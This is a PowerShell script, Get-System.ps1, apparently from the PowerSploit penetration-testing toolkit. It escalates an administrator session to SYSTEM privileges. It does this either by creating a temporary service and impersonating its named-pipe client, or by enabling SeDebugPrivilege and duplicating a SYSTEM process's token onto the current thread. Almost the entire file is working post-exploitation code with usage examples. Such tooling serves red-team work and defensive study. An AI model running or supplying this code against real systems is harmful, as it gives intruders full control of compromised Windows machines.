Get-System.ps1

function Get-System {
<#
    .SYNOPSIS

        GetSystem functionality inspired by Meterpreter's getsystem.
        'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
        a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
        NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
        token duplication works correctly.

        PowerSploit Function: Get-System
        Author: @harmj0y, @mattifestation
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .PARAMETER Technique

        The technique to use, 'NamedPipe' or 'Token'.

    .PARAMETER ServiceName

        The name of the service used with named pipe impersonation, defaults to 'TestSVC'.

    .PARAMETER PipeName

        The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.

    .PARAMETER RevToSelf
    
        Reverts the current thread privileges.

    .PARAMETER WhoAmI

        Switch. Display the credentials for the current PowerShell thread.

    .EXAMPLE
        
        PS> Get-System

        Uses named impersonate to elevate the current thread token to SYSTEM.

    .EXAMPLE
        
        PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'

        Uses named impersonate to elevate the current thread token to SYSTEM
        with a custom service and pipe name.

    .EXAMPLE
        
        PS> Get-System -Technique Token

        Uses token duplication to elevate the current thread token to SYSTEM.

    .EXAMPLE
        
        PS> Get-System -WhoAmI

        Displays the credentials for the current thread.

    .EXAMPLE
        
        PS> Get-System -RevToSelf

        Reverts the current thread privileges.

    .LINK
    
        https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
        https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
        http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
        http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
#>
    [CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
    param(
        [Parameter(ParameterSetName = "NamedPipe")]
        [Parameter(ParameterSetName = "Token")]
        [String]
        [ValidateSet("NamedPipe", "Token")]
        $Technique = 'NamedPipe',

        [Parameter(ParameterSetName = "NamedPipe")]
        [String]
        $ServiceName = 'TestSVC',

        [Parameter(ParameterSetName = "NamedPipe")]
        [String]
        $PipeName = 'TestSVC',

        [Parameter(ParameterSetName = "RevToSelf")]
        [Switch]
        $RevToSelf,

        [Parameter(ParameterSetName = "WhoAmI")]
        [Switch]
        $WhoAmI
    )

    $ErrorActionPreference = "Stop"

    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    function Local:Get-DelegateType
    {
        Param
        (
            [OutputType([Type])]
            
            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),
            
            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
        
        Write-Output $TypeBuilder.CreateType()
    }

    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    function Local:Get-ProcAddress
    {
        Param
        (
            [OutputType([IntPtr])]
        
            [Parameter( Position = 0, Mandatory = $True )]
            [String]
            $Module,
            
            [Parameter( Position = 1, Mandatory = $True )]
            [String]
            $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        
        # Return the address of the function
        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }

    # performs named pipe impersonation to elevate to SYSTEM without needing
    #   SeDebugPrivilege
    function Local:Get-SystemNamedPipe {
        param(
            [String]
            $ServiceName = "TestSVC",

            [String]
            $PipeName = "TestSVC"
        )

        $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""

        Add-Type -Assembly System.Core

        # create the named pipe used for impersonation and set appropriate permissions
        $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
        $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
        $PipeSecurity.AddAccessRule($AccessRule)
        $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)

        $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()

        # Declare/setup all the needed API function
        #   adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 
        $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
        $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
        $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)

        $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
        $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
        $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)

        $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
        $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
        $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
        
        $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
        $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
        $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
      
        $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
        $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
        $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)

        $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
        $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
        $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)

        $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
        $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
        $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)

        $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
        $GetLastErrorDelegate = Get-DelegateType @() ([Int])
        $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)

        # Step 1 - OpenSCManager()
        # 0xF003F = SC_MANAGER_ALL_ACCESS
        #   http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
        Write-Verbose "Opening service manager"
        $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F)
        Write-Verbose "Service manager handle: $ManagerHandle"

        # if we get a non-zero handle back, everything was successful
        if ($ManagerHandle -and ($ManagerHandle -ne 0)) {

            # Step 2 - CreateService()
            # 0xF003F = SC_MANAGER_ALL_ACCESS
            # 0x10 = SERVICE_WIN32_OWN_PROCESS
            # 0x3 = SERVICE_DEMAND_START
            # 0x1 = SERVICE_ERROR_NORMAL
            Write-Verbose "Creating new service: '$ServiceName'"
            try {
                $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
                $err = $GetLastError.Invoke()
            }
            catch {
                Write-Warning "Error creating service : $_"
                $ServiceHandle = 0
            }
            Write-Verbose "CreateServiceA Handle: $ServiceHandle"

            if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
                $Success = $True
                Write-Verbose "Service successfully created"

                # Step 3 - CloseServiceHandle() for the service handle
                Write-Verbose "Closing service handle"
                $Null = $CloseServiceHandle.Invoke($ServiceHandle)

                # Step 4 - OpenService()
                Write-Verbose "Opening the service '$ServiceName'"
                $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
                Write-Verbose "OpenServiceA handle: $ServiceHandle"

                if ($ServiceHandle -and ($ServiceHandle -ne 0)){

                    # Step 5 - StartService()
                    Write-Verbose "Starting the service"
                    $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
                    $err = $GetLastError.Invoke()

                    # if we successfully started the service, let it breathe and then delete it
                    if ($val -ne 0){
                        Write-Verbose "Service successfully started"
                        # breathe for a second
                        Start-Sleep -s 1
                    }
                    else{
                        if ($err -eq 1053){
                            Write-Verbose "Command didn't respond to start"
                        }
                        else{
                            Write-Warning "StartService failed, LastError: $err"
                        }
                        # breathe for a second
                        Start-Sleep -s 1
                    }

                    # start cleanup
                    # Step 6 - DeleteService()
                    Write-Verbose "Deleting the service '$ServiceName'"
                    $val = $DeleteService.invoke($ServiceHandle)
                    $err = $GetLastError.Invoke()

                    if ($val -eq 0){
                        Write-Warning "DeleteService failed, LastError: $err"
                    }
                    else{
                        Write-Verbose "Service successfully deleted"
                    }
                
                    # Step 7 - CloseServiceHandle() for the service handle 
                    Write-Verbose "Closing the service handle"
                    $val = $CloseServiceHandle.Invoke($ServiceHandle)
                    Write-Verbose "Service handle closed off"
                }
                else {
                    Write-Warning "[!] OpenServiceA failed, LastError: $err"
                }
            }

            else {
                Write-Warning "[!] CreateService failed, LastError: $err"
            }

            # final cleanup - close off the manager handle
            Write-Verbose "Closing the manager handle"
            $Null = $CloseServiceHandle.Invoke($ManagerHandle)
        }
        else {
            # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
            Write-Warning "[!] OpenSCManager failed, LastError: $err"
        }

        if($Success) {
            Write-Verbose "Waiting for pipe connection"
            $Pipe.WaitForConnection()

            $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()

            $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
            Write-Verbose "ImpersonateNamedPipeClient: $Out"
        }

        # clocse off the named pipe
        $Pipe.Dispose()
    }

    # performs token duplication to elevate to SYSTEM
    #   needs SeDebugPrivilege
    # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
    Function Local:Get-SystemToken {
        [CmdletBinding()] param()

        $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
        $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

        $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
        $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
        $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
        $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
        $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()

        $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
        $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
        $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
        $LuidStruct = $LuidTypeBuilder.CreateType()

        $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
        $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
        $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
        $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()

        $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
        $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
        $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

        $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
        $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
        $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
        $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
        $PrivilegesField.SetCustomAttribute($AttribBuilder)
        $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()

        $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
            ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
            'advapi32.dll',
            @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
            @([Bool] $True)
        )

        $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
            ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
            'kernel32.dll',
            @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
            @([Bool] $True)
        )

        $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
        $Win32TypeBuilder.DefinePInvokeMethod(
            'OpenProcess',
            'kernel32.dll',
            [Reflection.MethodAttributes] 'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [IntPtr],
            @([UInt32], [Bool], [UInt32]),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            'Auto').SetCustomAttribute($AttribBuilder2)

        $Win32TypeBuilder.DefinePInvokeMethod(
            'CloseHandle',
            'kernel32.dll',
            [Reflection.MethodAttributes] 'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Bool],
            @([IntPtr]),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            'Auto').SetCustomAttribute($AttribBuilder2)

        $Win32TypeBuilder.DefinePInvokeMethod(
            'DuplicateToken',
            'advapi32.dll',
            [Reflection.MethodAttributes] 'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Bool],
            @([IntPtr], [Int32], [IntPtr].MakeByRefType()),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            'Auto').SetCustomAttribute($AttribBuilder)

        $Win32TypeBuilder.DefinePInvokeMethod(
            'SetThreadToken',
            'advapi32.dll',
            [Reflection.MethodAttributes] 'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Bool],
            @([IntPtr], [IntPtr]),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            'Auto').SetCustomAttribute($AttribBuilder)

        $Win32TypeBuilder.DefinePInvokeMethod(
            'OpenProcessToken',
            'advapi32.dll',
            [Reflection.MethodAttributes] 'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Bool],
            @([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            'Auto').SetCustomAttribute($AttribBuilder)

        $Win32TypeBuilder.DefinePInvokeMethod(
            'LookupPrivilegeValue',
            'advapi32.dll',
            [Reflection.MethodAttributes] 'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Bool],
            @([String], [String], [IntPtr].MakeByRefType()),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            'Auto').SetCustomAttribute($AttribBuilder)

        $Win32TypeBuilder.DefinePInvokeMethod(
            'AdjustTokenPrivileges',
            'advapi32.dll',
            [Reflection.MethodAttributes] 'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Bool],
            @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            'Auto').SetCustomAttribute($AttribBuilder)
        
        $Win32Methods = $Win32TypeBuilder.CreateType()

        $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'}
        $GetCurrentProcess = $Win32Native.GetMethod(
            'GetCurrentProcess',
            [Reflection.BindingFlags] 'NonPublic, Static'
        )
            
        $SE_PRIVILEGE_ENABLED = 0x00000002
        $STANDARD_RIGHTS_REQUIRED = 0x000F0000
        $STANDARD_RIGHTS_READ = 0x00020000
        $TOKEN_ASSIGN_PRIMARY = 0x00000001
        $TOKEN_DUPLICATE = 0x00000002
        $TOKEN_IMPERSONATE = 0x00000004
        $TOKEN_QUERY = 0x00000008
        $TOKEN_QUERY_SOURCE = 0x00000010
        $TOKEN_ADJUST_PRIVILEGES = 0x00000020
        $TOKEN_ADJUST_GROUPS = 0x00000040
        $TOKEN_ADJUST_DEFAULT = 0x00000080
        $TOKEN_ADJUST_SESSIONID = 0x00000100
        $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
        $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
            $TOKEN_ASSIGN_PRIMARY -bor
            $TOKEN_DUPLICATE -bor
            $TOKEN_IMPERSONATE -bor
            $TOKEN_QUERY -bor
            $TOKEN_QUERY_SOURCE -bor
            $TOKEN_ADJUST_PRIVILEGES -bor
            $TOKEN_ADJUST_GROUPS -bor
            $TOKEN_ADJUST_DEFAULT -bor
            $TOKEN_ADJUST_SESSIONID

        [long]$Luid = 0

        $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
        $tokPriv1Luid.Count = 1
        $tokPriv1Luid.Luid = $Luid
        $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED

        $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)

        $htoken = [IntPtr]::Zero
        $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)

        $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
        $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)

        if(-not($RetVal)) {
            Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
        }
        
        $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value

        $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
            try {
                $OwnerInfo = $_.GetOwner()
                if ($OwnerInfo.Domain -and $OwnerInfo.User) {
                    $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()

                    if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
                        $Process = Get-Process -Id $_.ProcessId

                        $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
                        if ($Handle) {
                            $Handle
                        }
                    }
                }
            }
            catch {}
        } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1
        
        if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
            Write-Error 'Unable to obtain a handle to a system process.'
        } 
        else {
            [IntPtr]$SystemToken = [IntPtr]::Zero
            $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            Write-Verbose "OpenProcessToken result: $RetVal"
            Write-Verbose "OpenProcessToken result: $LastError"

            [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
            $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            Write-Verbose "DuplicateToken result: $LastError"

            $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
            if(-not($RetVal)) {
                Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
            }

            Write-Verbose "SetThreadToken result: $LastError"
            $null = $Win32Methods::CloseHandle($Handle)
        }
    }

    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
        Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
    }

    if($PSBoundParameters['WhoAmI']) {
        Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
        return
    }

    elseif($PSBoundParameters['RevToSelf']) {
        $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
        $RevertToSelfDelegate = Get-DelegateType @() ([Bool])
        $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)

        $RetVal = $RevertToSelf.Invoke()
        if($RetVal) {
            Write-Output "RevertToSelf successful."
        }
        else {
            Write-Warning "RevertToSelf failed."
        }
        Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
    }

    else {
        if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
            Write-Error "Script must be run as administrator" -ErrorAction Stop
        }

        if($Technique -eq 'NamedPipe') {
            # if we're using named pipe impersonation with a service
            Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
        }
        else {
            # otherwise use token duplication
            Get-SystemToken
        }
        Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
    }
}